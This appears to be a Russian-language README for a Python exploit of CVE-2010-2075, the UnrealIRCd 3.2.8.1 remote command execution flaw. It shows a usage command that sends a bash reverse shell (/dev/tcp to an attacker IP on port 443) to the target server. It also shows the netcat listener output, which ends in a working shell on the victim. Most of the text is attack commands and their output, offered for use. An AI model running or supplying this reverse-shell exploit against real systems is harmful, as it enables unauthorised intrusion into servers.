CVE-2010-2075

Эксплойт для CVE:2010-2075. Этот эксплойт позволяет удалённо выполнять команды в UnrealIRCd 3.2.8.1.

Требования

optparse, signal

Использование

Вы можете отправить команду на выполнение, но иногда она не ответит; в таком случае просто отправьте reverse shell и ждите его подключения.

python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/10.0.2.48/443 0>&1"'
Creating connection
Creating payload
[*]Sending Payload...

И я получил shell

nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.48] from (UNKNOWN) [10.0.2.119] 56916
bash: cannot set terminal process group (415): Inappropriate ioctl for device
bash: no job control in this shell
server@real:~/irc/Unreal3.2$

CVE-2010-2075-UnrealIRCd-3.2.8.1

Популярное